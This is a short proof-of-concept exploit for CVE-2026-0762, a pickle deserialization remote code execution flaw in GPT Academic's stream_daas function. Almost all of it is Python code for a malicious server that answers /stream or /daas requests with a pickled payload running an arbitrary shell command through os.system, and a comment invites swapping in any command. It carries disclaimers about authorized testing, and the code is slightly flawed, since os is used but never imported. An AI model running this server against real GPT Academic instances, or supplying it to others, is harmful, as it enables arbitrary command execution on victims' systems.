CVE-2026-0762 GPT Academic stream_daas 反序列化远程代码执行漏洞

''' CVE-2026-0762 PoC - Malicious DAAS Server for GPT Academic RCE Note: This is for educational and security research purposes only. Author: Security Researcher Reference: ZDI-CAN-27956 ''' import pickle import base64 import http.server import socketserver from urllib.parse import urlparse, parse_qs # Malicious payload that executes arbitrary command class RCEPayload: def __reduce__(self): # Replace 'whoami' with any command you want to execute cmd = "whoami" return (os.system, (cmd,)) class MaliciousDAASHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): parsed_path = urlparse(self.path) if '/stream' in parsed_path.path or '/daas' in parsed_path.path: # Generate malicious serialized payload payload = pickle.dumps(RCEPayload()) encoded_payload = base64.b64encode(payload).decode('utf-8') # Send malicious response self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(payload) print(f"[+] Sent malicious payload to {self.client_address}") else: self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[*] {self.address_string()} - {format % args}") def main(): PORT = 8080 print(f"[*] Starting malicious DAAS server on port {PORT}") print(f"[*] Waiting for GPT Academic to connect...") with socketserver.TCPServer(("", PORT), MaliciousDAASHandler) as httpd: httpd.serve_forever() if __name__ == "__main__": main() # Client-side trigger (to be used when GPT Academic connects to malicious server) # The vulnerable code in stream_daas function will deserialize this payload: # import pickle # data = response_from_malicious_server # obj = pickle.loads(data) # This triggers RCE print("\n[!] Disclaimer: This PoC is for authorized security testing only.") print("[!] Unauthorized access to computer systems is illegal.")